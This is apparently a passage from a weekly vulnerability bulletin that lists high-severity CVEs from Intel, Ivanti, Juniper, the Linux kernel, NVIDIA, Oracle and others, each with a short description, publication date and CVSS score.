intel -- intel_nuc_bios_firmware	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-28743 secure@intel.com
intel -- intel_nuc_bios_firmware	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-29495 secure@intel.com
intel -- intel_nuc_bios_firmware	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-38587 secure@intel.com
intel -- intel_nuc_bios_firmware	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-42429 secure@intel.com
intel -- intel_nuc_pro_software_suite_configuration_tool_software_installers	Uncontrolled search path in some Intel NUC Pro Software Suite Configuration Tool software installers before version 3.0.0.6 may allow an authenticated user to potentially enable denial of service via local access.	2024-01-19	7.9	CVE-2023-32272 secure@intel.com
intumit_inc. -- smartrobot	Intumit inc. SmartRobot's web framwork has a remote code execution vulnerability. An unauthorized remote attacker can exploit this vulnerability to execute arbitrary commands on the remote server.	2024-01-15	9.8	CVE-2024-0552 twcert@cert.org.tw
ivanti -- connect_secure	A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.	2024-01-12	9.1	CVE-2024-21887
ivanti -- connect_secure	An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.	2024-01-12	8.2	CVE-2023-46805
judging_management_system -- judging_management_system	SQL Injection vulnerability in oretnom23 Judging Management System v1.0, allows remote attackers to execute arbitrary code and obtain sensitive information via sub_event_id parameter in sub_event_stat_update.php.	2024-01-12	9.8	CVE-2023-30014
judging_management_system -- judging_management_system	SQL Injection vulnerability in oretnom23 Judging Management System v1.0, allows remote attackers to execute arbitrary code and obtain sensitive information via txtsearch parameter in review_search.php.	2024-01-12	9.8	CVE-2023-30015
judging_management_system -- judging_management_system	SQL Injection vulnerability in oretnom23 Judging Management System v1.0, allows remote attackers to execute arbitrary code and obtain sensitive information via sub_event_id parameter in sub_event_details_edit.php.	2024-01-12	9.8	CVE-2023-30016

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
juniper -- junos	An Out-of-bounds Write vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS), or Remote Code Execution (RCE) and obtain root privileges on the device. This issue is caused by use of an insecure function allowing an attacker to overwrite arbitrary memory. This issue affects Juniper Networks Junos OS SRX Series and EX Series: * Junos OS versions earlier than 20.4R3-S9; * Junos OS 21.2 versions earlier than 21.2R3-S7; * Junos OS 21.3 versions earlier than 21.3R3-S5; * Junos OS 21.4 versions earlier than 21.4R3-S5; * Junos OS 22.1 versions earlier than 22.1R3-S4; * Junos OS 22.2 versions earlier than 22.2R3-S3; * Junos OS 22.3 versions earlier than 22.3R3-S2; * Junos OS 22.4 versions earlier than 22.4R2-S2, 22.4R3.	2024-01-12	9.8	CVE-2024-21591
juniper -- junos	An Improper Validation of Syntactic Correctness of Input vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows a network-based, unauthenticated attacker to cause a Denial of Service (DoS). If an attacker sends high rate of specific ICMP traffic to a device with VXLAN configured, this causes a deadlock of the PFE and results in the device becoming unresponsive. A manual restart will be required to recover the device. This issue only affects EX4100, EX4400, EX4600, QFX5000 Series devices. This issue affects: Juniper Networks Junos OS * 21.4R3 versions earlier than 21.4R3-S4; * 22.1R3 versions earlier than 22.1R3-S3; * 22.2R2 versions earlier than 22.2R3-S1; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R2; * 23.1 versions earlier than 23.1R2.	2024-01-12	7.5	CVE-2024-21595
juniper -- junos	An Exposure of Resource to Wrong Sphere vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series allows an unauthenticated, network-based attacker to bypass the intended access restrictions. In an Abstracted Fabric (AF) scenario if routing-instances (RI) are configured, specific valid traffic destined to the device can bypass the configured lo0 firewall filters as it's received in the wrong RI context. This issue affects Juniper Networks Junos OS on MX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S3; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3; * 22.3 versions earlier than 22.3R2.	2024-01-12	7.5	CVE-2024-21597
juniper -- junos	A Double Free vulnerability in the flow processing daemon (flowd) of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial of Service (DoS). In a remote access VPN scenario, if a "tcp-encap-profile" is configured and a sequence of specific packets is received, a flowd crash and restart will be observed. This issue affects Juniper Networks Junos OS on SRX Series: * All versions earlier than 20.4R3-S8; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S3; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3.	2024-01-12	7.5	CVE-2024-21606
juniper -- junos	A Missing Release of Memory after Effective Lifetime vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). In a Juniper Flow Monitoring (jflow) scenario route churn that causes BGP next hops to be updated will cause a slow memory leak and eventually a crash and restart of rpd. Thread level memory utilization for the areas where the leak occurs can be checked using the below command: user@host> show task memory detail | match so_in so_in6 28 32 344450 11022400 344760 11032320 so_in 8 16 1841629 29466064 1841734 29467744 This issue affects: Junos OS * 21.4 versions earlier than 21.4R3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3. Junos OS Evolved * 21.4-EVO versions earlier than 21.4R3-EVO; * 22.1-EVO versions earlier than 22.1R3-EVO; * 22.2-EVO versions earlier than 22.2R3-EVO. This issue does not affect: Juniper Networks Junos OS versions earlier than 21.4R1. Juniper Networks Junos OS Evolved versions earlier than 21.4R1.	2024-01-12	7.5	CVE-2024-21611
juniper -- junos	An Improper Check for Unusual or Exceptional Conditions vulnerability in Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a network-based, unauthenticated attacker to cause rpd to crash, leading to Denial of Service (DoS). On all Junos OS and Junos OS Evolved platforms, when NETCONF and gRPC are enabled, and a specific query is executed via Dynamic Rendering (DREND), rpd will crash and restart. Continuous execution of this specific query will cause a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS * 22.2 versions earlier than 22.2R2-S2, 22.2R3; * 22.3 versions earlier than 22.3R2, 22.3R3. Juniper Networks Junos OS Evolved * 22.2 versions earlier than 22.2R2-S2-EVO, 22.2R3-EVO; * 22.3 versions earlier than 22.3R2-EVO,	2024-01-12	7.5	CVE-2024-21614

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	22.3R3-EVO. This issue does not affect Juniper Networks: Junos OS versions earlier than 22.2R1; Junos OS Evolved versions earlier than 22.2R1-EVO.			
juniper -- junos	An Improper Validation of Syntactic Correctness of Input vulnerability in Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to cause Denial of Service (DoS). On all Junos OS MX Series and SRX Series platforms, when SIP ALG is enabled, and a specific SIP packet is received and processed, NAT IP allocation fails for genuine traffic, which causes Denial of Service (DoS). Continuous receipt of this specific SIP ALG packet will cause a sustained DoS condition. NAT IP usage can be monitored by running the following command. user@srx> show security nat resource-usage source-pool <source_pool_name> Pool name: source_pool_name .. Address Factor-index Port-range Used Avail Total Usage X.X.X.X 0 Single Ports 50258 52342 62464 96% <<<<< - Alg Ports 0 2048 2048 0% This issue affects: Juniper Networks Junos OS on MX Series and SRX Series * All versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2.	2024-01-12	7.5	CVE-2024-21616
juniper -- junos_os_evolved	A NULL Pointer Dereference vulnerability in Juniper Networks Junos OS Evolved on ACX7024, ACX7100-32C and ACX7100-48L allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). If a specific IPv4 UDP packet is received and sent to the Routing Engine (RE) packetio crashes and restarts which causes a momentary traffic interruption. Continued receipt of such packets will lead to a sustained DoS. This issue does not happen with IPv6 packets. This issue affects Juniper Networks Junos OS Evolved on ACX7024, ACX7100-32C and ACX7100-48L: * 21.4-EVO versions earlier than 21.4R3-S6-EVO; * 22.1-EVO versions earlier than 22.1R3-S5-EVO; * 22.2-EVO versions earlier than 22.2R2-S1-EVO, 22.2R3-EVO; * 22.3-EVO versions earlier than 22.3R2-EVO. This issue does not affect Juniper Networks Junos OS Evolved versions earlier than 21.4R1-EVO.	2024-01-12	7.5	CVE-2024-21602
juniper -- junos_os_evolved	An Allocation of Resources Without Limits or Throttling vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). If a high rate of specific valid packets are processed by the routing engine (RE) this will lead to a loss of connectivity of the RE with other components of the chassis and thereby a complete and persistent system outage. Please note that a carefully designed lo0 firewall filter will block or limit these packets which should prevent this issue from occurring. The following log messages can be seen when this issue occurs: <host> kernel: nf_conntrack: nf_conntrack: table full, dropping packet This issue affects Juniper Networks Junos OS Evolved: * All versions earlier than 20.4R3-S7-EVO; * 21.2R1-EVO and later versions; * 21.4-EVO versions earlier than 21.4R3-S5-EVO; * 22.1-EVO versions earlier than 22.1R3-S2-EVO; * 22.2-EVO versions earlier than 22.2R3-EVO; * 22.3-EVO versions earlier than 22.3R2-EVO; * 22.4-EVO versions earlier than 22.4R2-EVO.	2024-01-12	7.5	CVE-2024-21604
juniper -- junos_os_evolved	An Improper Handling of Syntactically Invalid Structure vulnerability in Object Flooding Protocol (OFP) service of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). On all Junos OS Evolved platforms, when specific TCP packets are received on an open OFP port, the OFP crashes leading to a restart of Routine Engine (RE). Continuous receipt of these specific TCP packets will lead to a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS Evolved * All versions earlier than 21.2R3-S7-EVO; * 21.3 versions earlier than 21.3R3-S5-EVO ; * 21.4 versions earlier than 21.4R3-S5-EVO; * 22.1 versions earlier than 22.1R3-S4-EVO; * 22.2 versions earlier than 22.2R3-S3-EVO ; * 22.3 versions earlier than 22.3R3-EVO; * 22.4 versions earlier than 22.4R2-EVO, 22.4R3-EVO.	2024-01-12	7.5	CVE-2024-21612
juniper -- paragon_active_assurance_control_center	An Improper Access Control vulnerability in the Juniper Networks Paragon Active Assurance Control Center allows an unauthenticated network-based attacker to access reports without authenticating, potentially containing sensitive configuration information. A feature was introduced in version 3.1.0 of the Paragon Active Assurance Control Center which allows users to selectively share account data. By exploiting this vulnerability, it is possible to access reports without being logged in, resulting in the opportunity for malicious exfiltration of user data. Note that the Paragon Active Assurance Control Center SaaS offering is not affected by this issue. This issue affects Juniper Networks Paragon Active Assurance versions 3.1.0, 3.2.0, 3.2.2, 3.3.0, 3.3.1, 3.4.0. This issue does not affect Juniper Networks Paragon Active Assurance versions earlier than 3.1.0.	2024-01-12	7.5	CVE-2024-21589

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
jupyter-lsp -- jupyterlab-lsp	jupyter-lsp is a coding assistance tool for JupyterLab (code navigation + hover suggestions + linters + autocompletion + rename) using Language Server Protocol. Installations of jupyter-lsp running in environments without configured file system access control (on the operating system level), and with jupyter-server instances exposed to non-trusted network are vulnerable to unauthorised access and modification of file system beyond the jupyter root directory. This issue has been patched in version 2.2.2 and all users are advised to upgrade. Users unable to upgrade should uninstall jupyter-lsp.	2024-01-18	7.3	CVE-2024-22415
jupyterlab -- jupyterlab	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. Users of JupyterLab who click on a malicious link may get their `Authorization` and `XSRFToken` tokens exposed to a third party when running an older `jupyter-server` version. JupyterLab versions 4.1.0b2, 4.0.11, and 3.6.7 are patched. No workaround has been identified, however users should ensure to upgrade `jupyter-server` to version 2.7.2 or newer which includes a redirect vulnerability fix.	2024-01-19	7.6	CVE-2024-22421
kashipara -- billing_software	A vulnerability classified as critical was found in Kashipara Billing Software 1.0. Affected by this vulnerability is an unknown functionality of the file buyer_detail_submit.php of the component HTTP POST Request Handler. The manipulation of the argument gstn_no leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250597 was assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0492
kashipara -- billing_software	A vulnerability, which was classified as critical, has been found in Kashipara Billing Software 1.0. Affected by this issue is some unknown functionality of the file submit_delivery_list.php of the component HTTP POST Request Handler. The manipulation of the argument customer_details leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250598 is the identifier assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0493
kashipara -- billing_software	A vulnerability, which was classified as critical, was found in Kashipara Billing Software 1.0. This affects an unknown part of the file material_bill.php of the component HTTP POST Request Handler. The manipulation of the argument itemtypeid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250599.	2024-01-13	9.8	CVE-2024-0494
kashipara -- billing_software	A vulnerability has been found in Kashipara Billing Software 1.0 and classified as critical. This vulnerability affects unknown code of the file party_submit.php of the component HTTP POST Request Handler. The manipulation of the argument party_name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250600.	2024-01-13	9.8	CVE-2024-0495
kashipara -- billing_software	A vulnerability was found in Kashipara Billing Software 1.0 and classified as critical. This issue affects some unknown processing of the file item_list_edit.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250601 was assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0496
lenovo -- vantage	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker to bypass integrity checks and execute arbitrary code with elevated privileges.	2024-01-19	7.8	CVE-2023-6043
linux -- kernel	A use-after-free flaw was found in the Linux Kernel. When a disk is removed, bdi_unregister is called to stop further write-back and waits for associated delayed work to complete. However, wb_inode_writeback_end() may schedule bandwidth estimation work after this has completed, which can result in the timer attempting to access the recently freed bdi_writeback.	2024-01-15	7.8	CVE-2024-0562
linux -- kernel	A memory leak flaw was found in the Linux kernel's io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.	2024-01-16	7.8	CVE-2024-0582
linux -- kernel	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system.	2024-01-17	7	CVE-2024-0646
live555 -- live555	A heap-use-after-free vulnerability was found in live555 version 2023.05.10 while handling the SETUP.	2024-01-12	9.8	CVE-2023-37117

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
mergen_software -- quality_management_system	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mergen Software Quality Management System allows SQL Injection.This issue affects Quality Management System: before v1.2.	2024-01-18	9.8	CVE-2023-5806 iletisim@usom.gov.tr
mintplex-labs -- anything-llm	AnythingLLM is an application that turns any document, resource, or piece of content into context that any LLM can use as references during chatting. In versions prior to commit `08d33cfd8` an unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack. The "data-export" endpoint is used to export files using the filename parameter as user input. The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it. An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it. Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet. This issue has been addressed in commit `08d33cfd8`. Users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-19	7.5	CVE-2024-22422
mongodb -- c_driver	When calling bson_utf8_validate on some inputs a loop with an exit condition that cannot be reached may occur, i.e. an infinite loop. This issue affects All MongoDB C Driver versions prior to versions 1.25.0.	20 24-01-12	7.5	CVE-2023-0437 cna@mongodb.com
montonio -- montonio_for_woocommerce	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP - Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet - A virtual wallet for WooCommerce, Long Watch Studio WooVIP - Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply - Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder - Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet - A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP - Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply - Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder - Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.	2024-01-19	8.2	CVE-2022-40700
netfilter -- netfilter	An out-of-bounds access vulnerability involving netfilter was reported and fixed as: f1082dd31fe4 (netfilter: nf_tables: Reject tables of unsupported family); While creating a new netfilter table, lack of a safeguard against invalid nf_tables family (pf) values within `nf_tables_newtable` function enables an attacker to achieve out-of-bounds access.	2024-01-12	7.8	CVE-2023-6040
netvision_information -- airpass	NetVision Information airPASS has a path traversal vulnerability within its parameter in a specific URL. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.	2024-01-15	7.5	CVE-2023-48383 twcert@cert.org.tw
nextcloud -- security-advisories	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue.	2024-01-18	9.6	CVE-2024-22212
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 BMC contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause stack memory corruption by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9.8	CVE-2023-31024
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 baseboard management controller (BMC) contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause a stack overflow by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9.8	CVE-2023-31029

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 BMC contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause a stack overflow by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9.8	CVE-2023-31030
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 BMC contains a vulnerability where a user may cause a missing authentication issue for a critical function by an adjacent network . A successful exploit of this vulnerability may lead to escalation of privileges, code execution, denial of service, information disclosure, and data tampering.	2024-01-12	8	CVE-2023-31033
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 BMC contains a vulnerability where an attacker may cause an LDAP user injection. A successful exploit of this vulnerability may lead to information disclosure.	2024-01-12	7.5	CVE-2023-31025
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a heap-based buffer overflow by local access. A successful exploit of this vulnerability may lead to code execution, denial of service, information disclosure, and data tampering.	2024-01-12	7.8	CVE-2023-31031
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 SBIOS contains a vulnerability where a local attacker can cause input validation checks to be bypassed by causing an integer overflow. A successful exploit of this vulnerability may lead to denial of service, information disclosure, and data tampering.	2024-01-12	7.8	CVE-2023-31034
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 SBIOS contains a vulnerability where an attacker may cause an SMI callout vulnerability that could be used to execute arbitrary code at the SMM level. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, and information disclosure.	2024-01-12	7.8	CVE-2023-31035
nvidia -- triton_inference_server	NVIDIA Triton Inference Server for Linux and Windows contains a vulnerability where, when it is launched with the non-default command line option --model-control explicit, an attacker may use the model load API to cause a relative path traversal. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.	2024-01-12	8.8	CVE-2023-31036
online_faculty_clearance -- online_faculty_clearance	A vulnerability classified as critical has been found in code-projects Online Faculty Clearance 1.0. This affects an unknown part of the file delete_faculty.php of the component HTTP GET Request Handler. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250569 was assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0464
online_faculty_clearance_system -- online_faculty_clearance_system	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been classified as critical. Affected is an unknown function of the file deactivate.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250566 is the identifier assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0461
online_faculty_clearance_system -- online_faculty_clearance_system	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /production/designee_view_status.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250567.	2024-01-12	9.8	CVE-2024-0462
online_faculty_clearance_system -- online_faculty_clearance_system	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /production/admin_view_info.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250568.	2024-01-12	9.8	CVE-2024-0463
oracle -- enterprise_manager	Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Event Management). The supported version that is affected is 13.5.0.0. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform. While the vulnerability is in Oracle Enterprise Manager Base Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Enterprise Manager Base Platform accessible data as well as unauthorized access to critical data or complete access to all Oracle Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial	2024-01-16	8.3	CVE-2024-20916

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	denial of service (partial DOS) of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L).			
oracle_corporation -- audit_vault_and_database_firewall	Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Difficult to exploit vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Audit Vault and Database Firewall, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Audit Vault and Database Firewall. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).	2024-01-16	7.6	CVE-2024-20924
oracle_corporation -- financial_services_analytical_applications_infrastructure	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L).	2024-01-16	7.4	CVE-2023-21901
oracle_corporation -- java_se_jdk_and_jre	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21, 17.0.9, 21.0.1; Oracle GraalVM for JDK: 17.0.9, 21.0.1; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).	2024-01-16	7.4	CVE-2024-20918
oracle_corporation -- java_se_jdk_and_jre	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 17.0.9; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 21.3.8 and 22.3.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).	2024-01-16	7.5	CVE-2024-20932
oracle_corporation -- java_se_jdk_and_jre	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21, 17.0.9, 21.0.1; Oracle GraalVM for JDK: 17.0.9, 21.0.1; Oracle GraalVM Enterprise Edition:	2024-01-16	7.4	CVE-2024-20952

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
